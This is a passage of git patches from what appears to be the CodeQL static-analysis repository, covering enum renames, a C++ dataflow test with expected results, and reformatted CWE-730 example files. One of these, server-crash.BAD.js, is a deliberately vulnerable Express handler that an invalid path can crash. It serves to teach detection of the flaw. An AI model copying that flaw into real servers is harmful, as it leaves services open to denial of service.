visit(XMLQualifiedIdentifier nd, Context c) { Label key = super.visit(nd, c); visit(nd.getLeft(), key, 0); - visit(nd.getRight(), key, 1, nd.isComputed() ? IdContext.varBind : IdContext.label); + visit(nd.getRight(), key, 1, nd.isComputed() ? IdContext.VAR_BIND : IdContext.LABEL); return key; } @@ -2200,7 +2200,7 @@ public class ASTExtractor { public Label visit(XMLDotDotExpression nd, Context c) { Label key = super.visit(nd, c); visit(nd.getLeft(), key, 0); - visit(nd.getRight(), key, 1, IdContext.label); + visit(nd.getRight(), key, 1, IdContext.LABEL); return key; } @@ -2214,7 +2214,7 @@ public class ASTExtractor { @Override public Label visit(AngularPipeRef nd, Context c) { Label key = super.visit(nd, c); - visit(nd.getIdentifier(), key, 0, IdContext.label); + visit(nd.getIdentifier(), key, 0, IdContext.LABEL); return key; } } diff --git a/javascript/extractor/src/com/semmle/js/extractor/ExprKinds.java b/javascript/extractor/src/com/semmle/js/extractor/ExprKinds.java index f4acf6c57ec..cfaa252a9f5 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/ExprKinds.java +++ b/javascript/extractor/src/com/semmle/js/extractor/ExprKinds.java @@ -155,17 +155,17 @@ public class ExprKinds { new EnumMap<IdContext, Integer>(IdContext.class); static { - idKinds.put(IdContext.label, 0); - idKinds.put(IdContext.varDecl, 78); - idKinds.put(IdContext.varAndTypeDecl, 78); - idKinds.put(IdContext.namespaceDecl, 78); - idKinds.put(IdContext.varAndNamespaceDecl, 78); - idKinds.put(IdContext.varAndTypeAndNamespaceDecl, 78); - idKinds.put(IdContext.typeOnlyImport, 78); - idKinds.put(IdContext.typeOnlyExport, 103); - idKinds.put(IdContext.varBind, 79); - idKinds.put(IdContext.export, 103); - idKinds.put(IdContext.exportBase, 103); + idKinds.put(IdContext.LABEL, 0); + idKinds.put(IdContext.VAR_DECL, 78); + idKinds.put(IdContext.VAR_AND_TYPE_DECL, 78); + idKinds.put(IdContext.NAMESPACE_DECL, 78); + idKinds.put(IdContext.VAR_AND_NAMESPACE_DECL, 78); + idKinds.put(IdContext.VAR_AND_TYPE_AND_NAMESPACE_DECL, 78); + idKinds.put(IdContext.TYPE_ONLY_IMPORT, 78); + idKinds.put(IdContext.TYPE_ONLY_EXPORT, 103); + idKinds.put(IdContext.VAR_BIND, 79); + idKinds.put(IdContext.EXPORT, 103); + idKinds.put(IdContext.EXPORT_BASE, 103); } public static int getExprKind(final Expression expr, final IdContext idContext) { diff --git a/javascript/extractor/src/com/semmle/js/extractor/TypeExprKinds.java b/javascript/extractor/src/com/semmle/js/extractor/TypeExprKinds.java index 0d2769d9e66..a1c7b219a8a 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/TypeExprKinds.java +++ b/javascript/extractor/src/com/semmle/js/extractor/TypeExprKinds.java @@ -78,13 +78,13 @@ public class TypeExprKinds { @Override public Integer visit(Identifier nd, Void c) { switch (idcontext) { - case typeDecl: + case TYPE_DECL: return TypeExprKinds.typeDecl; - case typeBind: + case TYPE_BIND: return simpleTypeAccess; - case varInTypeBind: + case VAR_IN_TYPE_BIND: return simpleVarTypeAccess; - case namespaceBind: + case NAMESPACE_BIND: return simpleNamespaceAccess; default: return typeLabel; @@ -93,7 +93,7 @@ public class TypeExprKinds { @Override public Integer visit(KeywordTypeExpr nd, Void c) { - if (idcontext == IdContext.varInTypeBind && nd.getKeyword().equals("this")) { + if (idcontext == IdContext.VAR_IN_TYPE_BIND && nd.getKeyword().equals("this")) { return thisVarTypeAccess; } return keywordTypeExpr; @@ -132,9 +132,9 @@ public class TypeExprKinds { @Override public Integer visit(UnaryTypeExpr nd, Void c) { switch (nd.getKind()) { - case Keyof: + case KEYOF: return keyofTypeExpr; - case Readonly: + case READONLY: return readonlyTypeExpr; } throw new CatastrophicError("Unhandled UnaryTypeExpr kind: " + nd.getKind()); @@ -142,9 +142,9 @@ public class TypeExprKinds { @Override public Integer visit(MemberExpression nd, Void c) { - if (idcontext == IdContext.varInTypeBind) { + if (idcontext == IdContext.VAR_IN_TYPE_BIND) { return qualifiedVarTypeAccess; - } else if (idcontext == IdContext.namespaceBind) { + } else if (idcontext == IdContext.NAMESPACE_BIND) { return qualifiedNamespaceAccess; } else { return qualifiedTypeAccess; @@ -224,11 +224,11 @@ public class TypeExprKinds { @Override public Integer visit(ImportTypeExpr nd, Void c) { switch (idcontext) { - case namespaceBind: + case NAMESPACE_BIND: return importNamespaceAccess; - case typeBind: + case TYPE_BIND: return importTypeAccess; - case varInTypeBind: + case VAR_IN_TYPE_BIND: return importVarTypeAccess; default: return importTypeAccess; diff --git a/javascript/extractor/src/com/semmle/ts/ast/UnaryTypeExpr.java b/javascript/extractor/src/com/semmle/ts/ast/UnaryTypeExpr.java index 67575a4fdca..5682bb11d03 100644 --- a/javascript/extractor/src/com/semmle/ts/ast/UnaryTypeExpr.java +++ b/javascript/extractor/src/com/semmle/ts/ast/UnaryTypeExpr.java @@ -13,8 +13,8 @@ public class UnaryTypeExpr extends TypeExpression { private final Kind kind; public enum Kind { - Keyof, - Readonly + KEYOF, + READONLY } public UnaryTypeExpr(SourceLocation loc, Kind kind, ITypeExpression elementType) { diff --git a/javascript/extractor/src/com/semmle/ts/extractor/TypeScriptASTConverter.java b/javascript/extractor/src/com/semmle/ts/extractor/TypeScriptASTConverter.java index 7ec9c8cbeaa..0824ad9be17 100644 --- a/javascript/extractor/src/com/semmle/ts/extractor/TypeScriptASTConverter.java +++ b/javascript/extractor/src/com/semmle/ts/extractor/TypeScriptASTConverter.java @@ -2256,10 +2256,10 @@ public class TypeScriptASTConverter { private Node convertTypeOperator(JsonObject node, SourceLocation loc) throws ParseError { String operator = metadata.getSyntaxKindName(node.get("operator").getAsInt()); if (operator.equals("KeyOfKeyword")) { - return new UnaryTypeExpr(loc, UnaryTypeExpr.Kind.Keyof, convertChildAsType(node, "type")); + return new UnaryTypeExpr(loc, UnaryTypeExpr.Kind.KEYOF, convertChildAsType(node, "type")); } if (operator.equals("ReadonlyKeyword")) { - return new UnaryTypeExpr(loc, UnaryTypeExpr.Kind.Readonly, convertChildAsType(node, "type")); + return new UnaryTypeExpr(loc, UnaryTypeExpr.Kind.READONLY, convertChildAsType(node, "type")); } if (operator.equals("UniqueKeyword")) { return new KeywordTypeExpr(loc, "unique symbol"); From b36593a76b70c1248c8ec99ab8a8df0db4012dcc Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Fri, 22 Jan 2021 10:11:16 +0000 Subject: [PATCH 0774/1241] JS: Fix broken link tag --- .../extractor/src/com/semmle/js/extractor/ASTExtractor.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java index e8ff2abb5b6..73cefdae30d 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java +++ b/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java @@ -247,7 +247,7 @@ public class ASTExtractor { /** * An identifier that is part of a type, but should not bind to a type name. Unlike {@link - * #label}, this will not result in an expression. + * #LABEL}, this will not result in an expression. */ TYPE_LABEL, From 718f6eb3fde9837192c282ad35357094f5f1c98a Mon Sep 17 00:00:00 2001 From: Esben Sparre Andreasen <esbena@github.com> Date: Fri, 22 Jan 2021 13:17:38 +0100 Subject: [PATCH 0775/1241] JS: update and prettify examples --- .../CWE-730/examples/server-crash.BAD.js | 33 ++++++++++--------- .../CWE-730/examples/server-crash.GOOD-A.js | 2 +- .../CWE-730/examples/server-crash.GOOD-B.js | 5 ++- 3 files changed, 20 insertions(+), 20 deletions(-) diff --git a/javascript/ql/src/Security/CWE-730/examples/server-crash.BAD.js b/javascript/ql/src/Security/CWE-730/examples/server-crash.BAD.js index 1b7001666ff..9642ced4c1a 100644 --- a/javascript/ql/src/Security/CWE-730/examples/server-crash.BAD.js +++ b/javascript/ql/src/Security/CWE-730/examples/server-crash.BAD.js @@ -1,21 +1,22 @@ const express = require("express"), - fs = require("fs"); + fs = require("fs"); -function save(rootDir, path, content){ - if (!isValidPath(rootDir, req.query.filePath)) { - throw new Error(`Invalid filePath: ${req.query.filePath}`); // BAD crashes the server - } - // write content to disk +function save(rootDir, path, content) { + if (!isValidPath(rootDir, req.query.filePath)) { + throw new Error(`Invalid filePath: ${req.query.filePath}`); // BAD crashes the server + } + // write content to disk } express().post("/save", (req, res) => { - fs.access(rootDir, (err) => { - if (err) { - console.error(`Server setup is corrupted, ${rootDir} does not exist!`); - res.status(500); - res.end(); - } - save(rootDir, req.query.path, req.body); - res.status(200); - res.end(); - }); + fs.exists(rootDir, (exists) => { + if (!exists) { + console.error(`Server setup is corrupted, ${rootDir} does not exist!`); + res.status(500); + res.end(); + return; + } + save(rootDir, req.query.path, req.body); + res.status(200); + res.end(); + }); }); diff --git a/javascript/ql/src/Security/CWE-730/examples/server-crash.GOOD-A.js b/javascript/ql/src/Security/CWE-730/examples/server-crash.GOOD-A.js index 60314259dc0..b23071ea53c 100644 --- a/javascript/ql/src/Security/CWE-730/examples/server-crash.GOOD-A.js +++ b/javascript/ql/src/Security/CWE-730/examples/server-crash.GOOD-A.js @@ -1,6 +1,6 @@ // ... express().post("/save", (req, res) => { - fs.access(rootDir, (err) => { + fs.exists(rootDir, (exists) => { // ... try { save(rootDir, req.query.path, req.body); // GOOD no uncaught exception diff --git a/javascript/ql/src/Security/CWE-730/examples/server-crash.GOOD-B.js b/javascript/ql/src/Security/CWE-730/examples/server-crash.GOOD-B.js index 1d02956a341..4e6e3c3bc72 100644 --- a/javascript/ql/src/Security/CWE-730/examples/server-crash.GOOD-B.js +++ b/javascript/ql/src/Security/CWE-730/examples/server-crash.GOOD-B.js @@ -1,11 +1,10 @@ // ... express().post("/save", async (req, res) => { - try { - await fs.access(rootDir); - } catch (e) { + if (await fs.promises.exists(rootDir)) { console.error(`Server setup is corrupted, ${rootDir} does not exist!`); res.status(500); res.end(); + return; } save(rootDir, req.query.path, req.body); // MAYBE BAD, depends on the commandline options res.status(200); From 682b2464411d9ff54f5b6ed7ca35b480644b9eee Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Fri, 22 Jan 2021 13:40:44 +0100 Subject: [PATCH 0776/1241] C++: Fix path-problem format. --- .../Security/CWE/CWE-359/PrivateCleartextWrite.ql | 6 +++--- .../semmle/tests/PrivateCleartextWrite.expected | 12 ++++++------ 2 files changed, 9 insertions(+), 9 deletions(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-359/PrivateCleartextWrite.ql b/cpp/ql/src/experimental/Security/CWE/CWE-359/PrivateCleartextWrite.ql index 60b13525aff..205f17c06c9 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-359/PrivateCleartextWrite.ql +++ b/cpp/ql/src/experimental/Security/CWE/CWE-359/PrivateCleartextWrite.ql @@ -16,6 +16,6 @@ import DataFlow::PathGraph from WriteConfig b, DataFlow::PathNode source, DataFlow::PathNode sink where b.hasFlowPath(source, sink) -select sink.getNode(), - "This write into the external location '" + sink + "' may contain unencrypted data from $@", - source, "this source." +select sink.getNode(), source, sink, + "This write into the external location '" + sink.getNode() + + "' may contain unencrypted data from $@", source, "this source." diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-359/semmle/tests/PrivateCleartextWrite.expected b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-359/semmle/tests/PrivateCleartextWrite.expected index c263d7e6dfd..887547f2c2e 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-359/semmle/tests/PrivateCleartextWrite.expected +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-359/semmle/tests/PrivateCleartextWrite.expected @@ -13,9 +13,9 @@ nodes | test.cpp:96:37:96:46 | theZipcode | semmle.label | theZipcode | | test.cpp:99:42:99:51 | theZipcode | semmle.label | theZipcode | #select -| test.cpp:57:9:57:18 | theZipcode | This write into the external location 'theZipcode' may contain unencrypted data from $@ | test.cpp:57:9:57:18 | theZipcode | this source. | -| test.cpp:74:24:74:30 | medical | This write into the external location 'medical' may contain unencrypted data from $@ | test.cpp:74:24:74:30 | medical | this source. | -| test.cpp:78:24:78:27 | temp | This write into the external location 'temp' may contain unencrypted data from $@ | test.cpp:77:16:77:22 | medical | this source. | -| test.cpp:82:24:82:28 | buff5 | This write into the external location 'buff5' may contain unencrypted data from $@ | test.cpp:81:22:81:28 | medical | this source. | -| test.cpp:96:37:96:46 | theZipcode | This write into the external location 'theZipcode' may contain unencrypted data from $@ | test.cpp:96:37:96:46 | theZipcode | this source. | -| test.cpp:99:42:99:51 | theZipcode | This write into the external location 'theZipcode' may contain unencrypted data from $@ | test.cpp:99:42:99:51 | theZipcode | this source. | +| test.cpp:57:9:57:18 | theZipcode | test.cpp:57:9:57:18 | theZipcode | test.cpp:57:9:57:18 | theZipcode | This write into the external location 'theZipcode' may contain unencrypted data from $@ | test.cpp:57:9:57:18 | theZipcode | this source. | +| test.cpp:74:24:74:30 | medical | test.cpp:74:24:74:30 | medical | test.cpp:74:24:74:30 | medical | This write into the external location 'medical' may contain unencrypted data from $@ | test.cpp:74:24:74:30 | medical | this source. | +| test.cpp:78:24:78:27 | temp | test.cpp:77:16:77:22 | medical | test.cpp:78:24:78:27 | temp | This write into the external location 'temp' may contain unencrypted data from $@ | test.cpp:77:16:77:22 | medical | this source. | +| test.cpp:82:24:82:28 | buff5 | test.cpp:81:22:81:28 | medical | test.cpp:82:24:82:28 | buff5 | This write into the external location 'buff5' may contain unencrypted data from $@ | test.cpp:81:22:81:28 | medical | this source. | +| test.cpp:96:37:96:46 | theZipcode | test.cpp:96:37:96:46 | theZipcode | test.cpp:96:37:96:46 | theZipcode | This write into the external location 'theZipcode' may contain unencrypted data from $@ | test.cpp:96:37:96:46 | theZipcode | this source. | +| test.cpp:99:42:99:51 | theZipcode | test.cpp:99:42:99:51 | theZipcode | test.cpp:99:42:99:51 | theZipcode | This write into the external location 'theZipcode' may contain unencrypted data from $@ | test.cpp:99:42:99:51 | theZipcode | this source. | From 3f3962f7a9d3d4a252985e7dc6ce61c5fb71e2a3 Mon Sep 17 00:00:00 2001 From: Esben Sparre Andreasen <esbena@github.com> Date: Fri, 22 Jan 2021 14:03:21 +0100 Subject: [PATCH 0777/1241] Update javascript/ql/src/Security/CWE-730/examples/server-crash.GOOD-B.js Co-authored-by: Erik Krogh Kristensen <erik-krogh@github.com> --- .../ql/src/Security/CWE-730/examples/server-crash.GOOD-B.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/ql/src/Security/CWE-730/examples/server-crash.GOOD-B.js b/javascript/ql/src/Security/CWE-730/examples/server-crash.GOOD-B.js index 4e6e3c3bc72..2a795ac001f 100644 --- a/javascript/ql/src/Security/CWE-730/examples/server-crash.GOOD-B.js +++ b/javascript/ql/src/Security/CWE-730/examples/server-crash.GOOD-B.js @@ -1,6 +1,6 @@ // ... express().post("/save", async (req, res) => { - if (await fs.promises.exists(rootDir)) { + if (!(await fs.promises.exists(rootDir))) { console.error(`Server setup is corrupted, ${rootDir} does not exist!`); res.status(500); res.end(); From b4f9b1590d0413b182bf63121b003e5401883a88 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Fri, 22 Jan 2021 14:20:18 +0100 Subject: [PATCH 0778/1241] C++: Restore lost result on git/git. We lost the result in a00bd7ae027d17a2cd2e2931a37baa31943d1245 because the added check for type T to type T* conversion didn't handle const qualifiers. --- .../ir/dataflow/internal/DataFlowPrivate.qll | 9 +++++---- .../dataflow/fields/by_reference.cpp | 12 +++++++++++- .../fields/dataflow-consistency.expected | 3 +++ .../dataflow/fields/ir-path-flow.expected | 19 +++++++++++++++++++ .../fields/partial-definition-diff.expected | 2 ++ .../fields/partial-definition.expected | 2 ++ .../dataflow/fields/path-flow.expected | 8 ++++++++ 7 files changed, 50 insertions(+), 5 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll index 422c63559ce..68b31a732f4 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll @@ -451,7 +451,7 @@ Type getResultTypeOfSourceValue(CopyValueInstruction copy) { * pops the `ArrayContent` off the access path when a value-to-pointer or value-to-reference conversion * happens on the argument that is ends up as the target of such a store. */ -private predicate innerReadSteap(Node node1, Content a, Node node2) { +private predicate innerReadStep(Node node1, Content a, Node node2) { a = TArrayContent() and exists(WriteSideEffectInstruction write, CallInstruction call, CopyValueInstruction copyValue | write.getPrimaryInstruction() = call and @@ -463,8 +463,9 @@ private predicate innerReadSteap(Node node1, Content a, Node node2) { ) and node2.asInstruction() = write and copyValue = call.getArgument(write.getIndex()) and - [getPointerType(copyValue).getBaseType(), getReferenceType(copyValue).getBaseType()] = - getResultTypeOfSourceValue(copyValue) + // Check that `copyValue` is actually doing a T to a T* conversion. + [getPointerType(copyValue).getBaseType(), getReferenceType(copyValue).getBaseType()].stripType() = + getResultTypeOfSourceValue(copyValue).stripType() ) } @@ -477,7 +478,7 @@ predicate readStep(Node node1, Content f, Node node2) { aliasedReadStep(node1, f, node2) or arrayReadStep(node1, f, node2) or instrToFieldNodeReadStep(node1, f, node2) or - innerReadSteap(node1, f, node2) + innerReadStep(node1, f, node2) } /** diff --git a/cpp/ql/test/library-tests/dataflow/fields/by_reference.cpp b/cpp/ql/test/library-tests/dataflow/fields/by_reference.cpp index 8e84d39be3b..46abcd62c07 100644 --- a/cpp/ql/test/library-tests/dataflow/fields/by_reference.cpp +++ b/cpp/ql/test/library-tests/dataflow/fields/by_reference.cpp @@ -1,4 +1,4 @@ -void sink(void *o); +void sink(void *o); void sink(const char *o); void *user_input(void); struct S { @@ -135,3 +135,13 @@ void test_outer_with_ref(Outer *pouter) { sink(pouter->inner_ptr->a); // $ ast MISSING: ir sink(pouter->a); // $ ast,ir } + +void taint_a_ptr(const char **pa) { + *pa = (char*)user_input(); +} + +void test_const_char_ref() { + const char* s; + taint_a_ptr(&s); + sink(s); // $ ast ir=140:9 ir=140:16 +} \ No newline at end of file diff --git a/cpp/ql/test/library-tests/dataflow/fields/dataflow-consistency.expected b/cpp/ql/test/library-tests/dataflow/fields/dataflow-consistency.expected index c402843e64d..500faa38eb1 100644 --- a/cpp/ql/test/library-tests/dataflow/fields/dataflow-consistency.expected +++ b/cpp/ql/test/library-tests/dataflow/fields/dataflow-consistency.expected @@ -123,6 +123,9 @@ postWithInFlow | by_reference.cpp:108:24:108:24 | a [inner post update] | PostUpdateNode should not be the target of local flow. | | by_reference.cpp:123:28:123:36 | inner_ptr [inner post update] | PostUpdateNode should not be the target of local flow. | | by_reference.cpp:127:30:127:38 | inner_ptr [inner post update] | PostUpdateNode should not be the target of local flow. | +| by_reference.cpp:140:3:140:5 | * ... [post update] | PostUpdateNode should not be the target of local flow. | +| by_reference.cpp:140:4:140:5 | pa [inner post update] | PostUpdateNode should not be the target of local flow. | +| by_reference.cpp:145:16:145:16 | s [inner post update] | PostUpdateNode should not be the target of local flow. | | complex.cpp:11:22:11:23 | a_ [post update] | PostUpdateNode should not be the target of local flow. | | complex.cpp:12:22:12:23 | b_ [post update] | PostUpdateNode should not be the target of local flow. | | conflated.cpp:10:3:10:7 | * ... [post update] | PostUpdateNode should not be the target of local flow. | diff --git a/cpp/ql/test/library-tests/dataflow/fields/ir-path-flow.expected b/cpp/ql/test/library-tests/dataflow/fields/ir-path-flow.expected index e787b9a5f0e..0f25daa307d 100644 --- a/cpp/ql/test/library-tests/dataflow/fields/ir-path-flow.expected +++ b/cpp/ql/test/library-tests/dataflow/fields/ir-path-flow.expected @@ -195,6 +195,14 @@ edges | by_reference.cpp:134:16:134:27 | inner_nested [a, a] | by_reference.cpp:134:29:134:29 | a [a] | | by_reference.cpp:134:29:134:29 | a [a] | by_reference.cpp:134:29:134:29 | a | | by_reference.cpp:136:16:136:16 | a [a] | by_reference.cpp:136:16:136:16 | a | +| by_reference.cpp:140:3:140:27 | Chi [array content] | by_reference.cpp:145:15:145:16 | taint_a_ptr output argument [array content] | +| by_reference.cpp:140:3:140:27 | ChiTotal [post update] [array content] | by_reference.cpp:140:3:140:27 | Chi [array content] | +| by_reference.cpp:140:3:140:27 | ChiTotal [post update] [array content] | by_reference.cpp:145:15:145:16 | taint_a_ptr output argument [array content] | +| by_reference.cpp:140:9:140:27 | (char *)... | by_reference.cpp:140:3:140:27 | ChiTotal [post update] [array content] | +| by_reference.cpp:140:9:140:27 | (const char *)... | by_reference.cpp:140:3:140:27 | ChiTotal [post update] [array content] | +| by_reference.cpp:140:16:140:25 | call to user_input | by_reference.cpp:140:3:140:27 | ChiTotal [post update] [array content] | +| by_reference.cpp:145:15:145:16 | taint_a_ptr output argument | by_reference.cpp:146:8:146:8 | s | +| by_reference.cpp:145:15:145:16 | taint_a_ptr output argument [array content] | by_reference.cpp:145:15:145:16 | taint_a_ptr output argument | | complex.cpp:40:17:40:17 | *b [a_] | complex.cpp:42:18:42:18 | call to a | | complex.cpp:40:17:40:17 | *b [b_] | complex.cpp:42:16:42:16 | a output argument [b_] | | complex.cpp:40:17:40:17 | *b [b_] | complex.cpp:43:18:43:18 | call to b | @@ -504,6 +512,14 @@ nodes | by_reference.cpp:134:29:134:29 | a [a] | semmle.label | a [a] | | by_reference.cpp:136:16:136:16 | a | semmle.label | a | | by_reference.cpp:136:16:136:16 | a [a] | semmle.label | a [a] | +| by_reference.cpp:140:3:140:27 | Chi [array content] | semmle.label | Chi [array content] | +| by_reference.cpp:140:3:140:27 | ChiTotal [post update] [array content] | semmle.label | ChiTotal [post update] [array content] | +| by_reference.cpp:140:9:140:27 | (char *)... | semmle.label | (char *)... | +| by_reference.cpp:140:9:140:27 | (const char *)... | semmle.label | (const char *)... | +| by_reference.cpp:140:16:140:25 | call to user_input | semmle.label | call to user_input | +| by_reference.cpp:145:15:145:16 | taint_a_ptr output argument | semmle.label | taint_a_ptr output argument | +| by_reference.cpp:145:15:145:16 | taint_a_ptr output argument [array content] | semmle.label | taint_a_ptr output argument [array content] | +| by_reference.cpp:146:8:146:8 | s | semmle.label | s | | complex.cpp:40:17:40:17 | *b [a_] | semmle.label | *b [a_] | | complex.cpp:40:17:40:17 | *b [b_] | semmle.label | *b [b_] | | complex.cpp:40:17:40:17 | *b [f, f, a_] | semmle.label | *b [f, f, a_] | @@ -649,6 +665,9 @@ nodes | by_reference.cpp:132:14:132:14 | a | by_reference.cpp:96:8:96:17 | call to user_input | by_reference.cpp:132:14:132:14 | a | a flows from $@ | by_reference.cpp:96:8:96:17 | call to user_input | call to user_input | | by_reference.cpp:134:29:134:29 | a | by_reference.cpp:88:13:88:22 | call to user_input | by_reference.cpp:134:29:134:29 | a | a flows from $@ | by_reference.cpp:88:13:88:22 | call to user_input | call to user_input | | by_reference.cpp:136:16:136:16 | a | by_reference.cpp:96:8:96:17 | call to user_input | by_reference.cpp:136:16:136:16 | a | a flows from $@ | by_reference.cpp:96:8:96:17 | call to user_input | call to user_input | +| by_reference.cpp:146:8:146:8 | s | by_reference.cpp:140:9:140:27 | (char *)... | by_reference.cpp:146:8:146:8 | s | s flows from $@ | by_reference.cpp:140:9:140:27 | (char *)... | (char *)... | +| by_reference.cpp:146:8:146:8 | s | by_reference.cpp:140:9:140:27 | (const char *)... | by_reference.cpp:146:8:146:8 | s | s flows from $@ | by_reference.cpp:140:9:140:27 | (const char *)... | (const char *)... | +| by_reference.cpp:146:8:146:8 | s | by_reference.cpp:140:16:140:25 | call to user_input | by_reference.cpp:146:8:146:8 | s | s flows from $@ | by_reference.cpp:140:16:140:25 | call to user_input | call to user_input | | complex.cpp:42:18:42:18 | call to a | complex.cpp:53:19:53:28 | call to user_input | complex.cpp:42:18:42:18 | call to a | call to a flows from $@ | complex.cpp:53:19:53:28 | call to user_input | call to user_input | | complex.cpp:42:18:42:18 | call to a | complex.cpp:55:19:55:28 | call to user_input | complex.cpp:42:18:42:18 | call to a | call to a flows from $@ | complex.cpp:55:19:55:28 | call to user_input | call to user_input | | complex.cpp:43:18:43:18 | call to b | complex.cpp:54:19:54:28 | call to user_input | complex.cpp:43:18:43:18 | call to b | call to b flows from $@ | complex.cpp:54:19:54:28 | call to user_input | call to user_input | diff --git a/cpp/ql/test/library-tests/dataflow/fields/partial-definition-diff.expected b/cpp/ql/test/library-tests/dataflow/fields/partial-definition-diff.expected index 78d9b3888b3..d7939750db6 100644 --- a/cpp/ql/test/library-tests/dataflow/fields/partial-definition-diff.expected +++ b/cpp/ql/test/library-tests/dataflow/fields/partial-definition-diff.expected @@ -242,6 +242,8 @@ | by_reference.cpp:134:29:134:29 | a | AST only | | by_reference.cpp:135:27:135:27 | a | AST only | | by_reference.cpp:136:16:136:16 | a | AST only | +| by_reference.cpp:140:3:140:5 | * ... | AST only | +| by_reference.cpp:145:15:145:16 | & ... | AST only | | complex.cpp:9:20:9:21 | this | IR only | | complex.cpp:10:20:10:21 | this | IR only | | complex.cpp:11:22:11:23 | a_ | AST only | diff --git a/cpp/ql/test/library-tests/dataflow/fields/partial-definition.expected b/cpp/ql/test/library-tests/dataflow/fields/partial-definition.expected index 15e247ed83d..9821d527b87 100644 --- a/cpp/ql/test/library-tests/dataflow/fields/partial-definition.expected +++ b/cpp/ql/test/library-tests/dataflow/fields/partial-definition.expected @@ -352,6 +352,8 @@ | by_reference.cpp:135:27:135:27 | a | | by_reference.cpp:136:8:136:13 | pouter | | by_reference.cpp:136:16:136:16 | a | +| by_reference.cpp:140:3:140:5 | * ... | +| by_reference.cpp:145:15:145:16 | & ... | | complex.cpp:11:22:11:23 | a_ | | complex.cpp:11:22:11:23 | this | | complex.cpp:12:22:12:23 | b_ | diff --git a/cpp/ql/test/library-tests/dataflow/fields/path-flow.expected b/cpp/ql/test/library-tests/dataflow/fields/path-flow.expected index 123b8a3ce81..6ea374d0ddf 100644 --- a/cpp/ql/test/library-tests/dataflow/fields/path-flow.expected +++ b/cpp/ql/test/library-tests/dataflow/fields/path-flow.expected @@ -323,6 +323,9 @@ edges | by_reference.cpp:135:8:135:13 | pouter [inner_ptr, a] | by_reference.cpp:135:16:135:24 | inner_ptr [a] | | by_reference.cpp:135:16:135:24 | inner_ptr [a] | by_reference.cpp:135:27:135:27 | a | | by_reference.cpp:136:8:136:13 | pouter [a] | by_reference.cpp:136:16:136:16 | a | +| by_reference.cpp:140:4:140:5 | pa [inner post update] | by_reference.cpp:145:15:145:16 | ref arg & ... | +| by_reference.cpp:140:16:140:25 | call to user_input | by_reference.cpp:140:4:140:5 | pa [inner post update] | +| by_reference.cpp:145:15:145:16 | ref arg & ... | by_reference.cpp:146:8:146:8 | s | | complex.cpp:40:17:40:17 | b [inner, f, a_] | complex.cpp:42:8:42:8 | b [inner, f, a_] | | complex.cpp:40:17:40:17 | b [inner, f, b_] | complex.cpp:43:8:43:8 | b [inner, f, b_] | | complex.cpp:42:8:42:8 | b [inner, f, a_] | complex.cpp:42:10:42:14 | inner [f, a_] | @@ -855,6 +858,10 @@ nodes | by_reference.cpp:135:27:135:27 | a | semmle.label | a | | by_reference.cpp:136:8:136:13 | pouter [a] | semmle.label | pouter [a] | | by_reference.cpp:136:16:136:16 | a | semmle.label | a | +| by_reference.cpp:140:4:140:5 | pa [inner post update] | semmle.label | pa [inner post update] | +| by_reference.cpp:140:16:140:25 | call to user_input | semmle.label | call to user_input | +| by_reference.cpp:145:15:145:16 | ref arg & ... | semmle.label | ref arg & ... | +| by_reference.cpp:146:8:146:8 | s | semmle.label | s | | complex.cpp:40:17:40:17 | b [inner, f, a_] | semmle.label | b [inner, f, a_] | | complex.cpp:40:17:40:17 | b [inner, f, b_] | semmle.label | b [inner, f, b_] | | complex.cpp:42:8:42:8 | b [inner, f, a_] | semmle.label | b [inner, f, a_] | @@ -1117,6 +1124,7 @@ nodes | by_reference.cpp:134:29:134:29 | a | by_reference.cpp:88:13:88:22 | call to user_input | by_reference.cpp:134:29:134:29 | a | a flows from $@ | by_reference.cpp:88:13:88:22 | call to user_input | call to user_input | | by_reference.cpp:135:27:135:27 | a | by_reference.cpp:88:13:88:22 | call to user_input | by_reference.cpp:135:27:135:27 | a | a flows from $@ | by_reference.cpp:88:13:88:22 | call to user_input | call to user_input | | by_reference.cpp:136:16:136:16 | a | by_reference.cpp:96:8:96:17 | call to user_input | by_reference.cpp:136:16:136:16 | a | a flows from $@ | by_reference.cpp:96:8:96:17 | call to user_input | call to user_input | +| by_reference.cpp:146:8:146:8 | s | by_reference.cpp:140:16:140:25 | call to user_input | by_reference.cpp:146:8:146:8 | s | s flows from $@ | by_reference.cpp:140:16:140:25 | call to user_input | call to user_input | | complex.cpp:42:18:42:18 | call to a | complex.cpp:53:19:53:28 | call to user_input | complex.cpp:42:18:42:18 | call to a | call to a flows from $@ | complex.cpp:53:19:53:28 | call to user_input | call to user_input | | complex.cpp:42:18:42:18 | call to a | complex.cpp:55:19:55:28 | call to user_input | complex.cpp:42:18:42:18 | call to a | call to a flows from $@ | complex.cpp:55:19:55:28 | call to user_input | call to user_input | | complex.cpp:43:18:43:18 | call to b | complex.cpp:54:19:54:28 | call to user_input | complex.cpp:43:18:43:18 | call to b | call to b flows from $@ | complex.cpp:54:19:54:28 | call to user_input | call to user_input | From b3497191b1a8e32776c0e246ddae7e1740ca191f Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Fri, 22 Jan 2021 14:44:18 +0100 Subject: 